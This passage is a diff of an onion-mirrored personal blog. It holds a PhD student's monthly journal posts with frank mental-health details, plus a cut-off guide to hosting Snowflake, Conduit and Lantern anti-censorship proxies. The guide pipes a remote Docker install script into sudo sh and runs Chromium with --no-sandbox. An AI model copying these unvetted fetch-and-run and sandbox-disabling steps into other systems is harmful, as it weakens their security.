    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/phd_journey/november_2025/index.html b/public-onion/phd_journey/november_2025/index.html new file mode 100644 index 0000000..a8e6ce3 --- /dev/null +++ b/public-onion/phd_journey/november_2025/index.html @@ -0,0 +1,578 @@ + + + + + + + +November '25 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + November '25 +

    + +
    +

    4th

    +

    Again, let’s setup some goals for the month.

    +
      +
    • Literature review
    • +
    • Keeping up with my coursework
    • +
    • Working on my codebase
    • +
    • Getting healthier diet and excercise-wise
    • +
    +

    30th

    +

    I did a bit of literature review, it’s still lacking unfortunately.

    +

    Coursework is ok-ish. I’ve been trying to work on assignements and understand them.

    +

    I rewrote the whole codebase, now we have a modularized design that should be easier to add to.

    +

    I’ve been eating more and more healthy, excercise is still lacking. I’ll get to that later.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt0ACgkQtYgoUOBM
    +jSp+yw/9Fr8915ynwUw1iwRRONv5U0/JIYcvwbBZhGA4ylatwUpcqkvm3dRWZkcp
    +HpxKAL8RPCyAZuqtMZel63BpjhWPfImHUA7/4h7CbGN//zJNLaKlL+93WUlDzrbB
    +A2D1JZvMl6dPC65IXzRMMPnaL1lM6Ka7dNMN2KyT/L3VUsp6uxXk8Dxueu+kpPgk
    ++w1DkW+BryX2efPfc7kG3kI7C0ui4LxoHwphfMulqnVlHlrG67+nqQXzMG0MGbHu
    +j3kjROJAv65K+g7uxWgwYYorxX5yoC2dZZAYt226V8nIw4KPksyzqGv22d2h7AzP
    +CzxTYpLlhLW+2yb9TKlg8uVi0QCg+akbaEbU2k6RC7+oFA14/1teE6MgCXwCx3Nz
    +mP7SndZoR+fP7uignlO4v0UdmiFsbUQNRap/TnebCkz/PUX2xMIXPOZWyzKSvpgb
    +CIRPuOyWo13SrZxPEArrLOA3tGERPqp+oRiKN8gX37ph2dQzeg8o5WR/2vz2Cc64
    +P9zEum8wZdV6dKaqkkAaGjWvDrkTLiobXvjwvP4tfH8TM/B4BYm0RmKRK1vJGsUm
    +Hu4ukK7mGkQWYoL3mCBnlsaT9zoJJmuHxyUBj3iHj7y6t2eu7oQQLBgS9M1F0El8
    +1ZmGjhVLJAB9bQyxAMwOBd6EBUC+Y/sFcTSViytTtFUn+NA1MUo=
    +=F8i0
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/November_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/November_2025.md.asc
    +gpg --verify November_2025.md.asc November_2025.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/phd_journey/october_2025/index.html b/public-onion/phd_journey/october_2025/index.html new file mode 100644 index 0000000..515f827 --- /dev/null +++ b/public-onion/phd_journey/october_2025/index.html @@ -0,0 +1,713 @@ + + + + + + + +October '25 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + October '25 +

    + +
    +

    1st

    +

    Ok, let’s start the month by declareing some goals and agendas.

    +

    What do I want to do this month?

    +
      +
    • Finish previous semester.
    • +
    • Pick the last of the course work for my prep phase.
    • +
    • Finalize the CoNEXT student workshop paper.
    • +
    • Finish my second RIL.
    • +
    • Start my 3rd and last RIL.
    • +
    • Learn more Go to become more comfortable with it, but how do I set this as a measureable goal?
    • +
    • More literature review, persumabely all of FOCI related papers this month.
    • +
    • Work on my codebase: +
        +
      1. Do code cleaning
      2. +
      3. Add comments for code
      4. +
      5. Start working on ICMP stuff
      6. +
      +
    • +
    • More socializing! :-)
    • +
    • A fun pet project? Maybe with Go? Maybe with 3d printer? Idk.
    • +
    • Enhance your routines and add exercise to it please!
    • +
    +

    Alright. Now that the goals are set, let’s start the month strong! +My last exam for pervious semester will be on October 7th. +I have done 74 ECTS, another 6 will be my last RIL. +If they give me Router Lab, 4 of it would count as ungraded along with an advance course such as either NN, ML sec or EML I would be done with the requirements for my prep phase. +I then just need to do my QE for which I should submit my first paper for which I’m doing work!

    +

    I have started to take SSRIs again. +I used to take them before I came to Germany to start my PhD, but after coming here things were going really well for many months, and I wanted to cut the medication. +I was taking more than just SSRIs actually, and my psychiatrist agreed to cut all other three medications but advised me to keep taking my SSRI. +After being all happy and things working very well, we started to cut the last piece of the puzzle. +We agreed to reduce the dosage by 0.25% of the max and wait for one month. +Things were going really well for the first two and a half month, and then it happened. +The catastrophe that put me in my worst mental and physicall position happened to me. +It’s not something I want to talk about in my blog, well at least for now, but I’ve tried to talk about it with my closest friends. +It’s so sad that things happened the way they did. +I never really fully recovered. +But… time has passed. +Almost 8 months now. +I should not have continued to cut my medication, but I did. +I damaged myself badly by being stubborn. +My brother who knew everything insisted that I should continue the usage, but I didn’t listen. +My parents didn’t know anything, but could see thier happy son turning into the saddest, most depressed thing of all time. +I was scared of my own shadow for more than one month. +I eventually started to go out, but seeing some certain people made me uncomfortable. +This is another thing I haven’t been able to figure out. +In the end, I just endured pain, a lot of pain. +I’m glad I didn’t break, but I do think most people would’ve. +To deal with this pain, I decided to take many courses. +Cure pain with more pain. +What a fool I was. +I just tore myself up mentally and added much more unneeded stress.

    +

    Did I mention I didn’t show up in office for 6 weeks? +And that when I came back I was hit again with things I didn’t understand? +Sometimes in life shit happens, but this was a whole new level. +I don’t know how much of this I want to talk about publicly, but I do want to just say that I was hurt really badly. +I’ve been trying to just lay low, stick to myself, and stay the hell out of trouble.

    +

    3rd

    +

    Today is the German unity day, and we have a long weekend ahead! +Other than that, last night was one of the most fantabolous days of my life. +I’m feeling more content and secure. +I’m feeling true happiness. +I don’t know how much the SSRI is affecting me, but I know one thing for sure. +I’m just like I used to be 9 months ago. +Just as jolly, positive, and feeling like I’m on top of the world. +Thinking about it a bit more, I do think I’m being a bit less passionate about my work. +What could be the reason? Different priorities? Nah. I really love my research and care about it. +I think it’s just that there is no pressure on me, and no deadline. +I will try to set small deadlines for myself and force myself to be more productive. +Oh, and the SSRI adverse effects are visible! Yeah… But it’s going to be alright, I’m sure of it. +I have an exam I need to prepare for on 7th, but I’ve been procrastinating. I should plan my days and stick to it. Hell yes.

    +

    5th

    +

    My student workshop paper to CoNEXT ‘25 was rejected. +It got one weak accept and one weak reject, with both reviewers claiming to have somewhat familiarity with the topic.

    +

    First review (wa) provided two suggestions for improving the work. +However, as this was a workshop paper, the goal was to talk about the research in the presentation and afterwards fine-tune details.

    +

    Second review (wr) asked for more details. +In the end they suggested only focusing on one approach and it’s evaluation. +This kinda defeated the purpose of what I was trying to do, to provide “tools”.

    +

    Another thing they mentioned was how ML-based traffic analysis can be used to detect evasion. +This is indeed something I like to work on and look at in the near future.

    +

    7th

    +

    Stressful day. +I had my last exam, the exam for Interactive systems that I did not attend the main exam for. +I tried to study over the weekend, but some weird things happened throughout the weekend, making my very distracted mind even more distracted. +I don’t know how I did, but I’m glad I did the exam. +Hopefully I did alright, although I kinda do know some of the mistakes I’ve made, which is a really bad sign… +I hope I won’t have to take another extra course in the next semesters, that would just be annoying. +I really do hope so.

    +

    8th

    +

    I’m back at work, still very distracted with life. +I do need to do literature review, expand my framework, and focus on my work. +It’s a Wednesday unfortunately, meaning I have my German class until 9:30, which today it lasted until 9:45, and then we have cookies at 14:00. +I hope I can get myself together and start being productive again.

    +

    9th

    +

    I will be doing literature review today. +Yesteday I didn’t manage to get myself together. Drat. +There will be a nice social event later today too. +I can rest and socialize with my group’s amazing people! +It’ll be fun! :)

    +

    Another fun thing is that I will get my very own physical GFW box today. +It’s probably the most majestic thing that could’ve happened? +The reason for it is that a month ago there was a leak for GFW. +Lucky us I guess.

    +

    13th

    +

    Last week was again not a productive week. +I will start to plan my days from now on. +The important things are literature review, working on the code base, and looking at the box a bit. +Unfortunately the new semester also starts from today. +I’ll be having one, at most two courses.

    +

    17th

    +

    Another unproductive week. +I think this was the worst one actually. +I can’t focus on reading the papers, I get distracted easily or lose interest. +Tobias suggested USENIX’s 3-slide slide deck to enhance my focus, I’ll give it a try.

    +

    I also need to address the elephant in the room, and start working on the codebase.

    +

    I also need to look at the GFW files more, and try to find useful stuff there.

    +

    But first I need to work on HTDN’s papers, and craft the slides. That is the highest priority on my list. I’ll do it.

    +
    +

    31st

    +

    It went by. +It went by quickly. +I wasn’t able to pick myself up this month, but I won’t let it happen in the following. +I want to be truthful, so I won’t hide anything. +the only thing is I should’ve let myself grief a bit, and I did. I’m proud of it. It’s fine. +For next month, I will start strong, try to get myself together, and pick myself up. I will make progress. +I promise.

    +

    Also I think there is no point in me ranting everyday or every once in a while in my PhD journey posts? Maybe it’s not a bad thing. The problem is I don’t have much to present, and that’s why this is the content. Idk if I change the structure or not, but for now it is what it is.

    +

    Ok, let’s set some goals for next month in advance, then we can see how good we did.

    +
      +
    • I want to work on ICMP stuff and make it work nicely.
    • +
    • I want to do more literature review, maybe read all 2025 and 2024 censorship papers. Cross your fingers for this.
    • +
    • I need to keep up with my courses, including the German class.
    • +
    • I might work more on the GFW leaked data, but I think it’s not a priority for me for now. So… scrap this last one.
    • +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbtwACgkQtYgoUOBM
    +jSryHhAAvH+XWK2675p6vFyzP9ZVDmyh1klyhNM/rLiErk5GfmnwNmKQIFxoMei9
    +2UuypSgH7l7mG9Ga+1Ph9W5YhA0qMMbA5LVWMyqlRfvVF9hoY4On21YRBieXqwsx
    +G4jS7A4PxYZbRt8+lVuyphe+KMRiwOMfPuWoIse2hfpfhs64h+cmZVPen5zsWHD5
    +2jAV888Y5oqGc9uISf380zBqEn3jIJOxiWCi+4vS6p87h0x8E2tVqCUNQEGgiriu
    +NLBkMOkuXAlQZnnv379jX4wh7N79bVjDoH3IHRQx+W8FqEGzu11D3VxO85+Q5/EY
    +n0FvOI4EXtWAHKjsHFcEX/MfXESy5zwNgIWW7+8OYnIv1CRPLPz/hHoZxklkflyZ
    +yqNdg8o+aRHsqbDVQxIKQXH5xUEcDH+9A7bRxmCmgksML01dPnrcw4ioYzu+t0em
    +4DRVp1HWJP/P7Sv2QrR6KgLS3DINRzC7ZkzV7Yeg40eQcb7BadEAZZ9aEjjDJtR0
    +B/n18yUje9BWNFc7nYKkmBYO4UU4L5O1lJWQZhgLrfWxZziJSRs2WTD+tKsbY+5/
    +YSEmToD9nAFioRSpWIV9/uYlsJYfGFtCCgNb/JD2uE+bROitVdZ6auE5AXmef1aN
    +t1QRAQvtpctfFlmwkDdb0BLFS5GSbRr55mkLg1yGS2o4zsC6FQ8=
    +=NvQ7
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/October_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/October_2025.md.asc
    +gpg --verify October_2025.md.asc October_2025.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/phd_journey/page/1/index.html b/public-onion/phd_journey/page/1/index.html new file mode 100644 index 0000000..7dd4d3d --- /dev/null +++ b/public-onion/phd_journey/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/phd_journey/ + + + + + + diff --git a/public-onion/phd_journey/september_2025/index.html b/public-onion/phd_journey/september_2025/index.html new file mode 100644 index 0000000..b222f9f --- /dev/null +++ b/public-onion/phd_journey/september_2025/index.html @@ -0,0 +1,586 @@ + + + + + + + +September '25 | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + September '25 +

    + +
    +

    I started the month by finalizing my draft for Conext Student workshop. +Let’s cross our fingers and hope things work out and that it gets accepted. +Notification should arrive on 25th, and I’d have until 30th to do the camera ready stuff which should be plenty of time.

    +

    I did a vacation from 6th until 15th for a total of 10 days by taking 6 days off. +I visited my parents after 13 months(!), and also my brother after more than two years. +We had so much fun! +I did a bunch of sight-seeing in Istanbul, tried out yummy foods and sweets, many different fishes, and snorkled in Antalya. +What a delightful trip it was. +I do have to get used to this as this is the sole way I will most probably see my parents from now on, unless they want to travel to somewhere else or visit me here. +Now that my brother also has his greencard, we can travel together and see eachother more often too!

    +

    Surprise surprize, the notification did not come and it’s the last day of the month. +Ever since I came back from vacation I tried to catch up with everything, did my ML re-exam, and setup all different cool things I talked about in my blog. +I’ve been waiting for the notification to get started with the camera-ready process to make sure I have enough time to study for my next and last exam on 7th of October… +Drat!

    +

    I will probably do more literature review this last day of the month, and start working on the code base from next month. +I should do a lot more literature review to be caught up with whatever that’s been done so far.

    +

    My social life has been much more exciting too. +I’ve been socializing a lot more and have made many new friends. +Some other exciting things have also been hapening that I don’t have the courage to write about now. ;) +Buuuuuut… I will probably write about them at some point if things go the way I hope theuy would. +Just remember Wed 24th of September 2025 and Sunday 28th of same month and year. :)

    +

    And with that, that’s my September in a nutshell. +I will probably start writing through the month and then turn the draft into a post from now on. +That way it would look like a story!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt4ACgkQtYgoUOBM
    +jSqrxg//VPgfKmG//gebN1gP5nOOmM4y1eoDvolP+Np/gpwm2Y2viYAv+njdwQag
    +w8UdLk1WKyc5EuKcuDXFaHK36VKk0Jr8jwRnPB98huKrYBmESj02HB19FgjIhYmk
    +IWNqEpIMeYVnWvZOKTGsvpdrAHc/694syjnQ9ZYQWFGOe+QGYpGsYEhei8tbjv7y
    +3giN/X4Vz8oowHlF0XCiBm+E2UxtcwgpFxaBN6tTb2AyzqMtt86zAfwvvPI/mJjl
    +MycRwHso3tVLt56ga28J88FdMdAfw2T60oCBBy3absRZUIGDOGYNWgUIIB+0JzZG
    +1wVD6Et5dP52WHcNwfSjBFWCCZossgYs6u6yUeOCHp3eHsq+nEpRj0IGsHBZUn4t
    +xxwF+HzHtVd9JWZHcfhLnh16PRT+drJlrCpHob2MzcrrBapVdWomjAidDu2PwyNm
    +9adYEohRZeM09EY16M6D+0JJDaQcHkL4TbTr/S1xbZ+K/5L+tLI9Mg0XoX0ZdG0B
    +BkUH9NMBSgM92lT2HLk1Hibi31K06KiCYBxAUSu+ELzLA0cik55TfEQNuiUDEpbz
    +yQBanuKAf70wk9BTg8HvKaUATI4OZBVDKFOoLBM6bLkx11MLiq4PkD9dNhsb2hwv
    +nFHvCVZqq2c2t7wTkMop7TdIxwZnl/sh6FaLYFLtmJpU+DyWles=
    +=ranU
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/September_2025.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/PhD_journey/September_2025.md.asc
    +gpg --verify September_2025.md.asc September_2025.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/2025_highlight/index.html b/public-onion/posts/2025_highlight/index.html new file mode 100644 index 0000000..3d76299 --- /dev/null +++ b/public-onion/posts/2025_highlight/index.html @@ -0,0 +1,558 @@ + + + + + + + +2025 Highlight | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + 2025 Highlight +

    + +
    +

    I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :) +Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.

    +

    After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend’s NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We’ve been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I’m getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..

    +

    Bonus: Remember I said we went to a Sushi place? I’ve been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I’m so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that “we were eating across the hall, and I noticed how pretty she is!”. They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn’t want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuoACgkQtYgoUOBM
    +jSqqgw//YtZhSWMZxoRDP7DCvFwPU5XFvNzAbfRV7vbCjA0YTosI2zHVQpu0Os11
    +vHLyI6P0331AlPtEjcZG0ZLLreCDSOZjh9sZHgdoCMUyG5brdS2fIsMlFmPT5bj8
    +Ns61MOe4BYsKJF6/Uzt1aT8Pf21M2a5qgJ8GZ4hKh+dxU4LtSIp6CaGNHH6mrhq5
    +LjY8rbQtJE2KzsuGevf4NNSQAhZGwxUlwfUsdreRFTWSVDpv7Tjwa/4Go+hE/0n0
    +HWcmIsQgBMiu+XEN5R8jCmW+IZ4uN0FMW6Y+IlfLKNmhhTCj/e+2kO3mxP5TPltf
    +2B72vMhhca6xTW3yGIUh0C/QQz7CqCxB0KMsAQrO2ebwEZCkPspahxqoXL9E1QNy
    +JIafzVNz9tIDe1SfnP9NnxQ+gNu8WIyPA96nUNDyhQyE3mgP6m68LKePrRHaJ1Zu
    +5xpuA8nesJsD9oM+ryzcFgHzbPmu9Syub9xczWHYNParjS/34FzGZ7/kT6kKZCE2
    +cxIGSe7G53FL4ONXL/mQf7C2z5JwcRz0PJ2vstNEv/7oYF11jpvt0OsR9QjbxdF1
    +Msj9Hqs9rr9ylBYWztWmXws7SYuoZRdoC4M6lGucLsbcK+FjAvby+KYBObc/mbB4
    +ANszhS/yDDQIQwXJcmpKVpRWqE/eLTJGKndCinUsUnTnJ30mtr0=
    +=T3Em
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/2025_highlight.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/2025_highlight.md.asc
    +gpg --verify 2025_highlight.md.asc 2025_highlight.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/blackout/index.html b/public-onion/posts/blackout/index.html new file mode 100644 index 0000000..1d1ea16 --- /dev/null +++ b/public-onion/posts/blackout/index.html @@ -0,0 +1,746 @@ + + + + + + + +Blackout | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Blackout +

    +
    + I tried to be more useful, but when I couldn't, I found another way. +
    + +
    +

    Ever since the latest Internet/communication blackout in Iran, I’ve been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copy‑paste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven’t opened it again.

    +

    After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Here’s how you can do the same if you decide to do so.

    +

    One important vibe check before we start: I’m not giving anyone a custom “backdoor” into your network, and you shouldn’t either. The whole point of the tools below is that they’re designed to work as volunteer nodes inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.

    +

    Running Anti‑Censorship Infrastructure at Home (Raspberry Pi, server, whatever)

    +

    I didn’t set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldn’t depend on where you were born.

    +

    So I turned my Pis into helpers.

    +

    This post is about running three different anti‑censorship tools on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:

    +
      +
    • Psiphon Conduit – to help Psiphon users automatically
    • +
    • Tor Snowflake (standalone proxy) – to help Tor users automatically
    • +
    • Lantern Unbounded – a browser‑based volunteer bridge, daemonized so it runs forever
    • +
    +

    Everything runs headless (or headless‑ish), survives reboots, and doesn’t require me to log in every week just to check if it’s still alive.

    +
    +

    The philosophy: don’t be a public server, be a volunteer node

    +

    A theme you’ll see throughout this setup is intentional modesty. I’m not running an open proxy. I’m not advertising an IP address. I’m not routing half the internet through my house.

    +

    Instead, I’m running software that’s designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.

    +

    That’s the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.

    +
    +

    What you need (one time)

    +

    This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.

    +

    First, install Docker (because containers are a gift):

    +
    sudo apt update
    +sudo apt install -y curl
    +curl -fsSL https://get.docker.com -o get-docker.sh
    +sudo sh get-docker.sh
    +sudo usermod -aG docker $USER
    +newgrp docker
    +

    Now make yourself a clean playground under /srv:

    +
    sudo mkdir -p /srv/{conduit,snowflake,lantern}
    +sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern}
    +

    I like /srv because it signals “service data lives here” and I’m less likely to delete it while cleaning my home directory at 3am.

    +
    +

    Conduit: quietly helping Psiphon users (Docker)

    +

    Conduit is Psiphon’s volunteer “station” software. Once it’s running, Psiphon’s own network decides when and how clients use it. There’s nothing to configure, nothing to advertise, and no port forwarding required.

    +

    The important part is persistence. Conduit generates an identity key the first time it runs (conduit_key.json), and that identity builds reputation over time. If you lose it, you start from zero again.

    +

    The file: /srv/conduit/docker-compose.yml

    +

    Create it:

    +
    cd /srv/conduit
    +vim docker-compose.yml
    +

    Paste this:

    +
    services:
    +  conduit:
    +    image: ghcr.io/ssmirr/conduit/conduit:latest
    +    container_name: conduit
    +    restart: unless-stopped
    +
    +    # Keep keys and state across restarts
    +    volumes:
    +      - ./data:/app/data
    +
    +    # Optional: if you want a different bandwidth limit / max clients,
    +    # you can pass CLI flags here (these are examples).
    +    # command: ["conduit", "start", "-b", "4", "-c", "8"]
    +

    Then bring it up:

    +
    docker compose up -d
    +docker logs -f conduit
    +

    When it’s working, you’ll see things like:

    +
      +
    • [OK] Connected to Psiphon network
    • +
    • periodic [STATS] lines with Connecting/Connected counters (that’s your “is anyone using this?” moment)
    • +
    +

    If you ever want to stop it:

    +
    docker stop conduit
    +

    Or “disable but keep everything” (recommended):

    +
    docker compose down
    +

    Or “delete it from orbit” (not recommended unless you enjoy rebuilding):

    +
    docker rm -f conduit
    +

    +

    Snowflake: Tor, but even quieter (Docker Compose)

    +

    Snowflake serves Tor users. It’s explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes watchtower for automatic updates.

    +

    The file: /srv/snowflake/docker-compose.yml

    +

    You can download the official file exactly like this:

    +
    cd /srv/snowflake
    +wget -O docker-compose.yml \
    +  "https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads"
    +

    If you’d rather create it yourself (it’s tiny), here’s the same thing in readable YAML:

    +
    services:
    +  snowflake-proxy:
    +    network_mode: host
    +    image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest
    +    container_name: snowflake-proxy
    +    restart: unless-stopped
    +
    +    # For a full list of Snowflake proxy args, see the upstream docs.
    +    # Example if you ever need it:
    +    # command: ["-ephemeral-ports-range", "30000:60000"]
    +
    +  watchtower:
    +    image: containrrr/watchtower
    +    container_name: watchtower
    +    restart: unless-stopped
    +    volumes:
    +      - /var/run/docker.sock:/var/run/docker.sock
    +    command: snowflake-proxy
    +

    Start it (with auto updates):

    +
    docker compose up -d
    +docker logs -f snowflake-proxy
    +

    If you see:

    +
    Proxy starting
    +NAT type: restricted
    +

    …that’s totally fine. “Restricted” is normal for home NAT. If it’s running, you’re helping.

    +

    If you get the “container name already in use” error, it just means you already have a snowflake-proxy container from a previous attempt. Fix it with:

    +
    docker rm -f snowflake-proxy
    +docker compose up -d
    +

    +

    Lantern Unbounded: a browser that helps people (systemd + Xvfb)

    +

    Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.

    +

    So we cheat — politely.

    +

    We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.

    +

    Install what we need

    +
    sudo apt update
    +sudo apt install -y xvfb
    +sudo apt install -y chromium-browser || sudo apt install -y chromium
    +

    Fix the X11 socket dir permissions (the annoying but essential part)

    +

    If you don’t do this, Xvfb may throw:

    +

    _XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.

    +

    Fix it once:

    +
    sudo chmod 1777 /tmp
    +sudo mkdir -p /tmp/.X11-unix
    +sudo chown root:root /tmp/.X11-unix
    +sudo chmod 1777 /tmp/.X11-unix
    +

    The file: /etc/systemd/system/unbounded.service

    +

    Pick your username. On my boxes, it’s either hub or rpi. Use your actual user.

    +

    Create the service:

    +
    sudo vim /etc/systemd/system/unbounded.service
    +

    Paste this, and replace YOUR_USER with your username (e.g. hub or rpi):

    +
    [Unit]
    +Description=Lantern Unbounded (Xvfb + Chromium)
    +After=network-online.target
    +Wants=network-online.target
    +
    +[Service]
    +User=YOUR_USER
    +Environment=DISPLAY=:99
    +Environment=XDG_RUNTIME_DIR=/run/user/%U
    +
    +ExecStart=/usr/bin/bash -lc '\
    +  /usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \
    +  sleep 1; \
    +  $(command -v chromium || command -v chromium-browser) \
    +    --no-first-run \
    +    --disable-breakpad \
    +    --disable-features=TranslateUI \
    +    --autoplay-policy=no-user-gesture-required \
    +    --use-fake-ui-for-media-stream \
    +    --disable-gpu \
    +    --no-sandbox \
    +    --app=https://unbounded.lantern.io/ \
    +    --kiosk \
    +    --window-size=1280,720 \
    +    --user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
    +    --disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \
    +'
    +
    +Restart=always
    +RestartSec=5
    +KillMode=mixed
    +
    +[Install]
    +WantedBy=multi-user.target
    +

    Enable and start:

    +
    sudo systemctl daemon-reload
    +sudo systemctl enable --now unbounded.service
    +systemctl status unbounded.service --no-pager
    +

    If you see Active: active (running), you’ve won.

    +

    “It runs headless-ish, but how do I know it’s alive?”

    +

    The simplest “is it on?” checks:

    +
    systemctl status unbounded.service --no-pager
    +journalctl -u unbounded.service -f
    +

    And the “is it actually doing network things?” check:

    +
    sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true
    +

    If you ever want to stop it:

    +
    sudo systemctl stop unbounded.service
    +

    If you want it not to start on boot:

    +
    sudo systemctl disable unbounded.service
    +

    +

    A note on safety, legality, and expectations

    +

